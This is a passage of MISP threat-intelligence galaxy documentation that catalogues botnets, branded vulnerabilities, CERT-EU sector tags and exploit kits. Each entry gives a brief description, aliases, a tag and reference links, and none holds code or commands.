https://www.botnets.fr/wiki.old/index.php?title=Nucrypt&setlang=en

Wopla

The tag is: *misp-galaxy:botnet="Wopla"*

Table 502. Table References

Links
https://www.botnets.fr/wiki.old/index.php/Wopla

Asprox

The Asprox botnet (discovered around 2008), also known by its aliases Badsrc and Aseljo, is a botnet mostly involved in phishing scams and performing SQL injections into websites in order to spread malware.

The tag is: *misp-galaxy:botnet="Asprox"*

Asprox is also known as:

- Badsrc
- Aseljo
- Danmec
- Hydraflux

Asprox has relationships with:

- similar: misp-galaxy:malpedia="Asprox" with estimative-language:likelihood-probability="likely"

Table 503. Table References

Links
https://en.wikipedia.org/wiki/Asprox_botnet

Spamthru

Spam Thru represented an expontential jump in the level of sophistication and complexity of these botnets, harnessing a 70,000 strong peer to peer botnet seeded with the Spam Thru Trojan. Spam Thru is also known by the Aliases Backdoor.Win32.Agent.uu, Spam-DComServ and Troj_Agent.Bor. Spam Thru was unique because it had its own antivirus engine designed to remove any other malicious programs residing in the same infected host machine so that it can get unlimited access to the machine's processing power as well as bandwidth. It also had the potential to be 10 times more productive than most other botnets while evading detection because of in-built defences.

The tag is: *misp-galaxy:botnet="Spamthru"*

Spamthru is also known as:

- Spam-DComServ
- Covesmer
- Xmiler

Table 504. Table References

Links
http://www.root777.com/security/analysis-of-spam-thru-botnet/

Gumblar

Gumblar is a malicious JavaScript trojan horse file that redirects a user’s Google searches, and then installs rogue security software. Also known as Troj/JSRedir-R this botnet first appeared in 2009.

The tag is: *misp-galaxy:botnet="Gumblar"*

Table 505. Table References

Links
https://en.wikipedia.org/wiki/Gumblar

BredoLab

The Bredolab botnet, also known by its alias Oficla, was a Russian botnet mostly involved in viral e-mail spam. Before the botnet was eventually dismantled in November 2010 through the seizure of its command and control servers, it was estimated to consist of millions of zombie computers.

The tag is: *misp-galaxy:botnet="BredoLab"*

BredoLab is also known as:

- Oficla

BredoLab has relationships with:

- similar: misp-galaxy:tool="Oficla" with estimative-language:likelihood-probability="likely"

Table 506. Table References

Links
https://en.wikipedia.org/wiki/Bredolab_botnet

Grum

The Grum botnet, also known by its alias Tedroo and Reddyb, was a botnet mostly involved in sending pharmaceutical spam e-mails. Once the world’s largest botnet, Grum can be traced back to as early as 2008. At the time of its shutdown in July 2012, Grum was reportedly the world’s 3rd largest botnet, responsible for 18% of worldwide spam traffic.

The tag is: *misp-galaxy:botnet="Grum"*

Grum is also known as:

- Tedroo
- Reddyb

Table 507. Table References

Links
https://en.wikipedia.org/wiki/Grum_botnet

Mega-D

The Mega-D, also known by its alias of Ozdok, is a botnet that at its peak was responsible for sending 32% of spam worldwide.

The tag is: *misp-galaxy:botnet="Mega-D"*

Mega-D is also known as:

- Ozdok

Table 508. Table References

Links
https://en.wikipedia.org/wiki/Mega-D_botnet

Kraken

The Kraken botnet was the world’s largest botnet as of April 2008. Researchers say that Kraken infected machines in at least 50 of the Fortune 500 companies and grew to over 400,000 bots. It was estimated to send 9 billion spam messages per day. Kraken botnet malware may have been designed to evade anti-virus software, and employed techniques to stymie conventional anti-virus software.

The tag is: *misp-galaxy:botnet="Kraken"*

Kraken is also known as:

- Kracken

Kraken has relationships with:

- similar: misp-galaxy:botnet="Marina Botnet" with estimative-language:likelihood-probability="likely"

Table 509. Table References

Links
https://en.wikipedia.org/wiki/Kraken_botnet

Festi

The Festi botnet, also known by its alias of Spamnost, is a botnet mostly involved in email spam and denial of service attacks.

The tag is: *misp-galaxy:botnet="Festi"*

Festi is also known as:

- Spamnost

Table 510. Table References

Links
https://en.wikipedia.org/wiki/Festi_botnet

Vulcanbot

Vulcanbot is the name of a botnet predominantly spread in Vietnam, apparently with political motives. It is thought to have begun in late 2009.

The tag is: *misp-galaxy:botnet="Vulcanbot"*

Table 511. Table References

Links
https://en.wikipedia.org/wiki/Vulcanbot

LowSec

The tag is: *misp-galaxy:botnet="LowSec"*

LowSec is also known as:

- LowSecurity
- FreeMoney
- Ring0.Tools

TDL4

Alureon (also known as TDSS or TDL-4) is a trojan and bootkit created to steal data by intercepting a system’s network traffic and searching for: banking usernames and passwords, credit card data, PayPal information, social security numbers, and other sensitive user data. Following a series of customer complaints, Microsoft determined that Alureon caused a wave of BSoDs on some 32-bit Microsoft Windows systems. The update, MS10-015,triggered these crashes by breaking assumptions made by the malware author(s).

The tag is: *misp-galaxy:botnet="TDL4"*

TDL4 is also known as:

- TDSS
- Alureon

TDL4 has relationships with:

- similar: misp-galaxy:malpedia="Alureon" with estimative-language:likelihood-probability="likely"

Table 512. Table References

Links
https://en.wikipedia.org/wiki/Alureon#TDL-4

Zeus

Zeus, ZeuS, or Zbot is a Trojan horse malware package that runs on versions of Microsoft Windows. While it can be used to carry out many malicious and criminal tasks, it is often used to steal banking information by man-in-the-browser keystroke logging and form grabbing. It is also used to install the CryptoLocker ransomware. Zeus is spread mainly through drive-by downloads and phishing schemes. First identified in July 2007 when it was used to steal information from the United States Department of Transportation, it became more widespread in March 2009. In June 2009 security company Prevx discovered that Zeus had compromised over 74,000 FTP accounts on websites of such companies as the Bank of America, NASA, Monster.com, ABC, Oracle, Play.com, Cisco, Amazon, and BusinessWeek. Similarly to Koobface, Zeus has also been used to trick victims of tech support scams into giving the scam artists money through pop-up messages that claim the user has a virus, when in reality they might have no viruses at all. The scammers may use programs such as Command prompt or Event viewer to make the user believe that their computer is infected.

The tag is: *misp-galaxy:botnet="Zeus"*

Zeus is also known as:

- Zbot
- ZeuS
- PRG
- Wsnpoem
- Gorhax
- Kneber

Zeus has relationships with:

- similar: misp-galaxy:tool="Zeus" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:banker="Zeus" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Zeus" with estimative-language:likelihood-probability="likely"

Table 513. Table References

Links
https://en.wikipedia.org/wiki/Zeus_(malware)

Kelihos

The Kelihos botnet, also known as Hlux, is a botnet mainly involved in spamming and the theft of bitcoins.

The tag is: *misp-galaxy:botnet="Kelihos"*

Kelihos is also known as:

- Hlux

Kelihos has relationships with:

- similar: misp-galaxy:malpedia="Kelihos" with estimative-language:likelihood-probability="likely"

Table 514. Table References

Links
https://en.wikipedia.org/wiki/Kelihos_botnet

Ramnit

Ramnit is a Computer worm affecting Windows users. It was estimated that it infected 800 000 Windows PCs between September and December 2011. The Ramnit botnet was dismantled by Europol and Symantec securities in 2015. In 2015, this infection was estimated at 3 200 000 PCs.

The tag is: *misp-galaxy:botnet="Ramnit"*

Ramnit has relationships with:

- similar: misp-galaxy:banker="Ramnit" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Ramnit" with estimative-language:likelihood-probability="likely"

Table 515. Table References

Links
https://en.wikipedia.org/wiki/Botnet

Zer0n3t

The tag is: *misp-galaxy:botnet="Zer0n3t"*

Zer0n3t is also known as:

- Fib3rl0g1c
- Zer0n3t
- Zer0Log1x

Chameleon

The Chameleon botnet is a botnet that was discovered on February 28, 2013 by the security research firm, spider.io. It involved the infection of more than 120,000 computers and generated, on average, 6 million US dollars per month from advertising traffic. This traffic was generated on infected systems and looked to advertising parties as regular end users which browsed the Web, because of which it was seen as legitimate web traffic. The affected computers were all Windows PCs with the majority being private PCs (residential systems).

The tag is: *misp-galaxy:botnet="Chameleon"*

Table 516. Table References

Links
https://en.wikipedia.org/wiki/Chameleon_botnet

Mirai

Mirai (Japanese for "the future", 未来) is a malware that turns networked devices running Linux into remotely controlled "bots" that can be used as part of a botnet in large-scale network attacks. It primarily targets online consumer devices such as IP cameras and home routers. The Mirai botnet was first found in August 2016 by MalwareMustDie, a whitehat malware research group, and has been used in some of the largest and most disruptive distributed denial of service (DDoS) attacks, including an attack on 20 September 2016 on computer security journalist Brian Krebs's web site, an attack on French web host OVH, and the October 2016 Dyn cyberattack.

The tag is: *misp-galaxy:botnet="Mirai"*

Mirai has relationships with:

- similar: misp-galaxy:tool="Mirai" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Mirai" with estimative-language:likelihood-probability="likely"
- variant-of: misp-galaxy:botnet="Owari" with estimative-language:likelihood-probability="likely"
- variant-of: misp-galaxy:botnet="Sora" with estimative-language:likelihood-probability="likely"

Table 517. Table References

Links
https://en.wikipedia.org/wiki/Mirai_(malware)
https://researchcenter.paloaltonetworks.com/2018/09/unit42-multi-exploit-iotlinux-botnets-mirai-gafgyt-target-apache-struts-sonicwall/
https://www.bleepingcomputer.com/news/security/mirai-iot-malware-uses-aboriginal-linux-to-target-multiple-platforms/

XorDDoS

XOR DDOS is a Linux trojan used to perform large-scale DDoS

The tag is: *misp-galaxy:botnet="XorDDoS"*

Table 518. Table References

Links
https://en.wikipedia.org/wiki/Xor_DDoS

Satori

According to a report Li shared with Bleeping Computer today, the Mirai Satori variant is quite different from all previous pure Mirai variants.Previous Mirai versions infected IoT devices and then downloaded a Telnet scanner component that attempted to find other victims and infect them with the Mirai bot.The Satori variant does not use a scanner but uses two embedded exploits that will try to connect to remote devices on ports 37215 and 52869.Effectively, this makes Satori an IoT worm, being able to spread by itself without the need for separate components.

The tag is: *misp-galaxy:botnet="Satori"*

Satori is also known as:

- Okiru

Satori has relationships with:

- similar: misp-galaxy:tool="Satori" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Satori" with estimative-language:likelihood-probability="likely"

Table 519. Table References

Links
https://www.bleepingcomputer.com/news/security/satori-botnet-has-sudden-awakening-with-over-280-000-active-bots/
https://blog.fortinet.com/2017/12/12/rise-of-one-more-mirai-worm-variant

BetaBot

The tag is: *misp-galaxy:botnet="BetaBot"*

BetaBot has relationships with:

- similar: misp-galaxy:malpedia="BetaBot" with estimative-language:likelihood-probability="likely"

Hajime

Hajime (meaning ‘beginning’ in Japanese) is an IoT worm that was first mentioned on 16 October 2016 in a public report by RapidityNetworks. One month later we saw the first samples being uploaded from Spain to VT. This worm builds a huge P2P botnet (almost 300,000 devices at the time of publishing this blogpost), but its real purpose remains unknown. It is worth mentioning that in the past, the Hajime IoT botnet was never used for massive DDoS attacks, and its existance was a mystery for many researchers, as the botnet only gathered infected devices but almost never did anything with them (except scan for other vulnerable devices).

The tag is: *misp-galaxy:botnet="Hajime"*

Hajime has relationships with:

- similar: misp-galaxy:malpedia="Hajime" with estimative-language:likelihood-probability="likely"

Table 520. Table References

Links
https://www.bleepingcomputer.com/news/security/hajime-botnet-makes-a-comeback-with-massive-scan-for-mikrotik-routers/
https://en.wikipedia.org/wiki/Hajime_(malware)
https://securelist.com/hajime-the-mysterious-evolving-botnet/78160/

Muhstik

The botnet is exploiting the CVE-2018-7600 vulnerability —also known as Drupalgeddon 2— to access a specific URL and gain the ability to execute commands on a server running the Drupal CMS. At the technical level, Netlab says Muhstik is built on top of Tsunami, a very old strain of malware that has been used for years to create botnets by infecting Linux servers and smart devices running Linux-based firmware. Crooks have used Tsunami initially for DDoS attacks, but its feature-set has greatly expanded after its source code leaked online. The Muhstik version of Tsunami, according to a Netlab report published today, can launch DDoS attacks, install the XMRig Monero miner, or install the CGMiner to mine Dash cryptocurrency on infected hosts. Muhstik operators are using these three payloads to make money via the infected hosts.

The tag is: *misp-galaxy:botnet="Muhstik"*

Table 521. Table References

Links
https://www.bleepingcomputer.com/news/security/big-iot-botnet-starts-large-scale-exploitation-of-drupalgeddon-2-vulnerability/

Hide and Seek

Security researchers have discovered the first IoT botnet malware strain that can survive device reboots and remain on infected devices after the initial compromise. This is a major game-changing moment in the realm of IoT and router malware. Until today, equipment owners could always remove IoT malware from their smart devices, modems, and routers by resetting the device. The reset operation flushed the device's flash memory, where the device would keep all its working data, including IoT malware strains. But today, Bitdefender researchers announced they found an IoT malware strain that under certain circumstances copies itself to /etc/init.d/, a folder that houses daemon scripts on Linux-based operating systems —like the ones on routers and IoT devices. By placing itself in this menu, the device's OS will automatically start the malware's process after the next reboot.

The tag is: *misp-galaxy:botnet="Hide and Seek"*

Hide and Seek is also known as:

- HNS
- Hide 'N Seek

Hide and Seek has relationships with:

- similar: misp-galaxy:malpedia="Hide and Seek" with estimative-language:likelihood-probability="likely"

Table 522. Table References

Links
https://www.bleepingcomputer.com/news/security/hide-and-seek-becomes-first-iot-botnet-capable-of-surviving-device-reboots/
https://www.bleepingcomputer.com/news/security/new-hns-iot-botnet-has-already-amassed-14k-bots/
https://www.bleepingcomputer.com/news/security/hide-and-seek-botnet-adds-infection-vector-for-android-devices/

Mettle

Command-and-control panel and the scanner of this botnet is hosted on a server residing in Vietnam. Attackers have been utilizing an open-sourced Mettle attack module to implant malware on vulnerable routers.

The tag is: *misp-galaxy:botnet="Mettle"*

Table 523. Table References

Links
https://thehackernews.com/2018/05/botnet-malware-hacking.html

Owari

IoT botnet, Mirai variant that has added three exploits to its arsenal. After a successful exploit, this bot downloads its payload, Owari bot - another Mirai variant - or Omni bot. Author is called WICKED

The tag is: *misp-galaxy:botnet="Owari"*

Owari has relationships with:

- similar: misp-galaxy:malpedia="Owari" with estimative-language:likelihood-probability="likely"
- variant-of: misp-galaxy:botnet="Mirai" with estimative-language:likelihood-probability="likely"
- variant-of: misp-galaxy:tool="Mirai" with estimative-language:likelihood-probability="likely"
- variant-of: misp-galaxy:botnet="Sora" with estimative-language:likelihood-probability="likely"

Table 524. Table References

Links
https://www.fortinet.com/blog/threat-research/a-wicked-family-of-bots.html

Brain Food

Brain Food is usually the second step in a chain of redirections, its PHP code is polymorphic and obfuscated with multiple layers of base64 encoding. Backdoor functionalities are also embedded in the code allowing remote execution of shell code on web servers which are configured to allow the PHP 'system' command.

The tag is: *misp-galaxy:botnet="Brain Food"*

Table 525. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/brain-food-botnet-gives-website-operators-heartburn

Pontoeb

The bot gathers information from the infected system through WMI queries (SerialNumber, SystemDrive, operating system, processor architecture), which it then sends back to a remote attacker. It installs a backdoor giving an attacker the possibility to run command such as: download a file, update itself, visit a website and perform HTTP, SYN, UDP flooding

The tag is: *misp-galaxy:botnet="Pontoeb"*

Pontoeb is also known as:

- N0ise

Table 526. Table References

Links
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:MSIL/Pontoeb.J
http://dataprotectioncenter.com/general/are-you-beta-testing-malware/

Trik Spam Botnet

The tag is: *misp-galaxy:botnet="Trik Spam Botnet"*

Trik Spam Botnet is also known as:

- Trik Trojan

Table 527. Table References

Links
https://www.bleepingcomputer.com/news/security/trik-spam-botnet-leaks-43-million-email-addresses/

Madmax

The tag is: *misp-galaxy:botnet="Madmax"*

Madmax is also known as:

- Mad Max

Madmax has relationships with:

- similar: misp-galaxy:tool="Mad Max" with estimative-language:likelihood-probability="likely"

Table 528. Table References

Links
https://news.softpedia.com/news/researchers-crack-mad-max-botnet-algorithm-and-see-in-the-future-506696.shtml

Pushdo

The tag is: *misp-galaxy:botnet="Pushdo"*

Pushdo has relationships with:

- similar: misp-galaxy:malpedia="Pushdo" with estimative-language:likelihood-

probability="likely"

Table 529. Table References

Links
https://labs.bitdefender.com/2013/12/in-depth-analysis-of-pushdo-botnet/

Simda

The tag is: *misp-galaxy:botnet="Simda"*

Simda has relationships with:

- similar: misp-galaxy:malpedia="Simda" with estimative-language:likelihood-probability="likely"

Table 530. Table References

Links
https://www.us-cert.gov/ncas/alerts/TA15-105A

Virut

The tag is: *misp-galaxy:botnet="Virut"*

Virut has relationships with:

- similar: misp-galaxy:malpedia="Virut" with estimative-language:likelihood-probability="likely"

Table 531. Table References

Links
https://en.wikipedia.org/wiki/Virut

Beebone

The tag is: *misp-galaxy:botnet="Beebone"*

Table 532. Table References

Links
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/web-attack/151/beebone-botnet-takedown-trend-micro-solutions

Bamital

The tag is: *misp-galaxy:botnet="Bamital"*

Bamital is also known as:

- Mdrop-CSK

- Agent-OCF

Table 533. Table References

Links
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Win32%2FBamital
https://www.symantec.com/security-center/writeup/2010-070108-5941-99

Gafgyt

Linux.Gafgyt is a Trojan horse that opens a back door on the compromised computer and steals information. The new Gafgyt version targets a newly disclosed vulnerability affecting older, unsupported versions of SonicWall's Global Management System (GMS).

The tag is: *misp-galaxy:botnet="Gafgyt"*

Gafgyt is also known as:

- Bashlite

Gafgyt has relationships with:

- similar: misp-galaxy:tool="Gafgyt" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Bashlite" with estimative-language:likelihood-probability="likely"

Table 534. Table References

Links
https://researchcenter.paloaltonetworks.com/2018/09/unit42-multi-exploit-iotlinux-botnets-mirai-gafgyt-target-apache-struts-sonicwall/
https://www.symantec.com/security-center/writeup/2014-100222-5658-99

Sora

Big changes on the IoT malware scene. Security researchers have spotted a version of the Mirai IoT malware that can run on a vast range of architectures, and even on Android devices. This Mirai malware strain is called Sora, a strain that was first spotted at the start of the year.Initial versions were nothing out of the ordinary, and Sora's original author soon moved on to developing the Mirai Owari version, shortly after Sora's creation.

The tag is: *misp-galaxy:botnet="Sora"*

Sora is also known as:

- Mirai Sora

Sora has relationships with:

- variant-of: misp-galaxy:botnet="Mirai" with estimative-language:likelihood-probability="likely"
- variant-of: misp-galaxy:tool="Mirai" with estimative-language:likelihood-probability="likely"
- variant-of: misp-galaxy:botnet="Owari" with estimative-language:likelihood-probability="likely"

Table 535. Table References

Links
https://www.bleepingcomputer.com/news/security/mirai-iot-malware-uses-aboriginal-linux-to-target-multiple-platforms/

Torii

```
we have been observing a new malware strain, which we call Torii, that differs from
Mirai and other botnets we know of, particularly in the advanced techniques it uses.
The developers of the botnet seek wide coverage and for this purpose they created
binaries for multiple CPU architectures, tailoring the malware for stealth and
persistence.
```

The tag is: *misp-galaxy:botnet="Torii"*

Torii has relationships with:

- similar: misp-galaxy:malpedia="Torii" with estimative-language:likelihood-probability="likely"

Table 536. Table References

Links
https://blog.avast.com/new-torii-botnet-threat-research
https://www.bleepingcomputer.com/news/security/new-iot-botnet-torii-uses-six-methods-for-persistence-has-no-clear-purpose/

Persirai

A new Internet of Things (IoT) botnet called Persirai (Detected by Trend Micro as ELF_PERSIRAI.A) has been discovered targeting over 1,000 Internet Protocol (IP) Camera models based on various Original Equipment Manufacturer (OEM) products. This development comes on the heels of Mirai—an open-source backdoor malware that caused some of the most notable incidents of 2016 via Distributed Denial-of-Service (DDoS) attacks that compromised IoT devices such as Digital Video Recorders (DVRs) and CCTV cameras—as well as the Hajime botnet.

The tag is: *misp-galaxy:botnet="Persirai"*

Persirai has relationships with:

- similar: misp-galaxy:malpedia="Persirai" with estimative-language:likelihood-probability="likely"

Table 537. Table References

Links
https://blog.trendmicro.com/trendlabs-security-intelligence/persirai-new-internet-things-iot-botnet-targets-ip-cameras/

Chalubo

Since early September, SophosLabs has been monitoring an increasingly prolific attack targeting Internet-facing SSH servers on Linux-based systems that has been dropping a newly-discovered family of denial-of-service bots we're calling Chalubo. The attackers encrypt both the main bot component and its corresponding Lua script using the ChaCha stream cipher. This adoption of anti-analysis techniques demonstrates an evolution in Linux malware, as the authors have adopted principles more common to Windows malware in an effort to thwart detection. Like some of its predecessors, Chalubo incorporates code from the Xor.DDoS and Mirai malware families.

The tag is: *misp-galaxy:botnet="Chalubo"*

Table 538. Table References

Links
https://news.sophos.com/en-us/2018/10/22/chalubo-botnet-wants-to-ddos-from-your-server-or-iot-device/

Branded Vulnerability

List of known vulnerabilities and attacks with a branding.

Branded Vulnerability is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Unknown

Meltdown

Meltdown exploits the out-of-order execution feature of modern processors, allowing user-level programs to access kernel memory using processor caches as covert side channels. This is specific to the way out-of-order execution is implemented in the processors. This vulnerability has been assigned CVE-2017-5754.

The tag is: *misp-galaxy:branded-vulnerability="Meltdown"*

Spectre

Spectre exploits the speculative execution feature that is present in almost all processors in existence today. Two variants of Spectre are known and seem to depend on what is used to influence erroneous speculative execution. The first variant triggers speculative execution by performing a bounds check bypass and has been assigned CVE-2017-5753. The second variant uses branch target injection for the same effect and has been assigned CVE-2017-5715.

The tag is: *misp-galaxy:branded-vulnerability="Spectre"*

Heartbleed

Heartbleed is a security bug in the OpenSSL cryptography library, which is a widely used implementation of the Transport Layer Security (TLS) protocol. It was introduced into the software in 2012 and publicly disclosed in April 2014. Heartbleed may be exploited regardless of whether the vulnerable OpenSSL instance is running as a TLS server or client. It results from improper input validation (due to a missing bounds check) in the implementation of the TLS heartbeat extension, thus the bug's name derives from heartbeat. The vulnerability is classified as a buffer over-read,[5] a situation where more data can be read than should be allowed.

The tag is: *misp-galaxy:branded-vulnerability="Heartbleed"*

Shellshock

Shellshock, also known as Bashdoor, is a family of security bugs in the widely used Unix Bash shell, the first of which was disclosed on 24 September 2014. Many Internet-facing services, such as some web server deployments, use Bash to process certain requests, allowing an attacker to cause vulnerable versions of Bash to execute arbitrary commands. This can allow an attacker to gain unauthorized access to a computer system.

The tag is: *misp-galaxy:branded-vulnerability="Shellshock"*

Ghost

The GHOST vulnerability is a serious weakness in the Linux glibc library. It allows attackers to remotely take complete control of the victim system without having any prior knowledge of system credentials. CVE-2015-0235 has been assigned to this issue. During a code audit Qualys researchers discovered a buffer overflow in the __nss_hostname_digits_dots() function of glibc. This bug can be triggered both locally and remotely via all the gethostbyname*() functions. Applications have access to the DNS resolver primarily through the gethostbyname*() set of functions. These functions convert a hostname into an IP address.

The tag is: *misp-galaxy:branded-vulnerability="Ghost"*

Stagefright

Stagefright is the name given to a group of software bugs that affect versions 2.2 ("Froyo") and newer of the Android operating system. The name is taken from the affected library, which among other things, is used to unpack MMS messages. Exploitation of the bug allows an attacker to perform arbitrary operations on the victim's device through remote code execution and privilege escalation. Security researchers demonstrate the bugs with a proof of concept that sends specially crafted MMS messages to the victim device and in most cases requires no end-user actions upon message reception to succeed—the user doesn’t have to do anything to ‘accept’ the bug, it happens in the background. The phone number is the only target information.

The tag is: *misp-galaxy:branded-vulnerability="Stagefright"*

Badlock

Badlock is a security bug disclosed on April 12, 2016 affecting the Security Account Manager (SAM) and Local Security Authority (Domain Policy) (LSAD) remote protocols[1] supported by Windows and Samba servers.

The tag is: *misp-galaxy:branded-vulnerability="Badlock"*

Dirty COW

Dirty COW (Dirty copy-on-write) is a computer security vulnerability for the Linux kernel that affects all Linux-based operating systems including Android. It is a local privilege escalation bug that exploits a race condition in the implementation of the copy-on-write mechanism in the kernel’s memory-management subsystem. The vulnerability was discovered by Phil Oester. Because of the race condition, with the right timing, a local attacker can exploit the copy-on-write mechanism to turn a read-only mapping of a file into a writable mapping. Although it is a local privilege escalation, remote attackers can use it in conjunction with other exploits that allow remote execution of non-privileged code to achieve remote root access on a computer. The attack itself does not leave traces in the system log.

The tag is: *misp-galaxy:branded-vulnerability="Dirty COW"*

POODLE

The POODLE attack (which stands for "Padding Oracle On Downgraded Legacy Encryptio") is a man-in-the-middle exploit which takes advantage of Internet and security software clients' fallback to SSL 3.0. If attackers successfully exploit this vulnerability, on average, they only need to make 256 SSL 3.0 requests to reveal one byte of encrypted messages. Bodo Möller, Thai Duong and Krzysztof Kotowicz from the Google Security Team discovered this vulnerability; they disclosed the vulnerability publicly on October 14, 2014 (despite the paper being dated "September 2014"). Ivan Ristic does not consider the POODLE attack as serious as the Heartbleed and Shellshock attacks. On December 8, 2014 a variation of the POODLE vulnerability that affected TLS was announced.

The tag is: *misp-galaxy:branded-vulnerability="POODLE"*

BadUSB

The ‘BadUSB’ vulnerability exploits unprotected firmware in order to deliver malicious code to computers and networks. This is achieved by reverse-engineering the device and reprogramming it. As the reprogrammed firmware is not monitored or assessed by modern security software, this attack method is extremely difficult for antivirus/security software to detect and prevent.

The tag is: *misp-galaxy:branded-vulnerability="BadUSB"*

ImageTragick

The tag is: *misp-galaxy:branded-vulnerability="ImageTragick"*

Blacknurse

Blacknurse is a low bandwidth DDoS attack involving ICMP Type 3 Code 3 packets causing high CPU loads first discovered in November 2016. The earliest samples we have seen supporting this DDoS method are from September 2017.

The tag is: *misp-galaxy:branded-vulnerability="Blacknurse"*

Cert EU GovSector

Cert EU GovSector.

> Cert EU GovSector is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Various

Constituency

The tag is: *misp-galaxy:cert-eu-govsector="Constituency"*

EU-Centric

The tag is: *misp-galaxy:cert-eu-govsector="EU-Centric"*

EU-nearby

The tag is: *misp-galaxy:cert-eu-govsector="EU-nearby"*

World-class

The tag is: *misp-galaxy:cert-eu-govsector="World-class"*

Unknown

The tag is: *misp-galaxy:cert-eu-govsector="Unknown"*

Outside World

The tag is: *misp-galaxy:cert-eu-govsector="Outside World"*

Exploit-Kit

Exploit-Kit is an enumeration of some exploitation kits used by adversaries. The list includes document, browser and router exploit kits.It's not meant to be totally exhaustive but aim at covering the most seen in the past 5 years.

> Exploit-Kit is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Kafeine - Will Metcalf - KahuSecurity

Astrum

Astrum Exploit Kit is a private Exploit Kit used in massive scale malvertising campaigns. It's notable by its use of Steganography

The tag is: *misp-galaxy:exploit-kit="Astrum"*

Astrum is also known as:

- Stegano EK

Table 539. Table References

Links
http://malware.dontneedcoffee.com/2014/09/astrum-ek.html
http://www.welivesecurity.com/2016/12/06/readers-popular-websites-targeted-stealthy-stegano-exploit-kit-hiding-pixels-malicious-ads/

Underminer

Underminer EK is an exploit kit that seems to be used privately against users in Asia. Functionalities: browser profiling and filtering, preventing of client revisits, URL randomization, and asymmetric encryption of payloads.

The tag is: *misp-galaxy:exploit-kit="Underminer"*

Underminer is also known as:

- Underminer EK

Table 540. Table References

Links
https://blog.trendmicro.com/trendlabs-security-intelligence/new-underminer-exploit-kit-delivers-bootkit-and-cryptocurrency-mining-malware-with-encrypted-tcp-tunnel/
http://bobao.360.cn/interref/detail/248.html

Fallout

Fallout Exploit Kit appeared at the end of August 2018 as an updated Nuclear Pack featuring current exploits seen in competiting Exploit Kit.

The tag is: *misp-galaxy:exploit-kit="Fallout"*

Fallout is also known as:

- Fallout

Fallout has relationships with:

- dropped: misp-galaxy:ransomware="GandCrab" with estimative-language:likelihood-probability="almost-certain"

Table 541. Table References

Links
https://www.nao-sec.org/2018/09/hello-fallout-exploit-kit.html
https://www.bleepingcomputer.com/news/security/new-fallout-exploit-kit-drops-gandcrab-ransomware-or-redirects-to-pups/
https://www.bleepingcomputer.com/news/security/fallout-exploit-kit-now-installing-the-kraken-cryptor-ransomware/

Bingo

Bingo EK is the name chosen by the defense for a Fiesta-ish EK first spotted in March 2017 and targetting at that times mostly Russia

The tag is: *misp-galaxy:exploit-kit="Bingo"*

Terror EK

Terror EK is built on Hunter, Sundown and RIG EK code

The tag is: *misp-galaxy:exploit-kit="Terror EK"*

Terror EK is also known as:

- Blaze EK
- Neptune EK

Table 542. Table References

Links
https://www.trustwave.com/Resources/SpiderLabs-Blog/Terror-Exploit-Kit—More-like-Error-Exploit-Kit/

DealersChoice

DealersChoice is a Flash Player Exploit platform triggered by RTF.

DealersChoice is a platform that generates malicious documents containing embedded Adobe Flash files. Palo Alto Network researchers analyzed two variants — variant A, which is a standalone variant including Flash exploit code packaged with a payload, and variant B, which is a modular variant that loads exploit code on demand. This new component appeared in 2016 and is still in use.

The tag is: *misp-galaxy:exploit-kit="DealersChoice"*

DealersChoice is also known as:

- Sednit RTF EK

Table 543. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/10/unit42-dealerschoice-sofacys-flash-player-exploit-platform/
http://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-ramps-up-spear-phishing-before-zero-days-get-patched/
https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/

DNSChanger

DNSChanger Exploit Kit is an exploit kit targeting Routers via the browser

The tag is: *misp-galaxy:exploit-kit="DNSChanger"*

DNSChanger is also known as:

- RouterEK

Table 544. Table References

Links
http://malware.dontneedcoffee.com/2015/05/an-exploit-kit-dedicated-to-csrf.html
https://www.proofpoint.com/us/threat-insight/post/home-routers-under-attack-malvertising-windows-android-devices

Disdain

Disdain EK has been introduced on underground forum on 2017-08-07. The panel is stolen from Sundown, the pattern are Terror alike and the obfuscation reminds Nebula

The tag is: *misp-galaxy:exploit-kit="Disdain"*

Table 545. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/new-disdain-exploit-kit-detected-wild/

Kaixin

Kaixin is an exploit kit mainly seen behind compromised website in Asia

The tag is: *misp-galaxy:exploit-kit="Kaixin"*

Kaixin is also known as:

- CK vip

Table 546. Table References

Links
http://www.kahusecurity.com/2013/deobfuscating-the-ck-exploit-kit/
http://www.kahusecurity.com/2012/new-chinese-exploit-pack/

Magnitude

Magnitude EK

The tag is: *misp-galaxy:exploit-kit="Magnitude"*

Magnitude is also known as:

- Popads EK
- TopExp

Table 547. Table References

Links
http://malware.dontneedcoffee.com/2013/10/Magnitude.html
https://www.trustwave.com/Resources/SpiderLabs-Blog/A-Peek-Into-the-Lion-s-Den-%E2%80%93-The-Magnitude—aka-PopAds—Exploit-Kit/
http://malware.dontneedcoffee.com/2014/02/and-real-name-of-magnitude-is.html
https://community.rsa.com/community/products/netwitness/blog/2017/02/09/magnitude-exploit-kit-under-the-hood

MWI

Microsoft Word Intruder is an exploit kit focused on Word and embedded flash exploits. The author wants to avoid their customer to use it in mass spam campaign, so it’s most often connected to semi-targeted attacks

The tag is: *misp-galaxy:exploit-kit="MWI"*

Table 548. Table References

Links
https://www.fireeye.com/blog/threat-research/2015/04/a_new_word_document.html
https://www.sophos.com/en-us/medialibrary/PDFs/technical%20papers/sophos-microsoft-word-intruder-revealed.pdf

ThreadKit

ThreadKit is the name given to a widely used Microsoft Office document exploit builder kit that appeared in June 2017

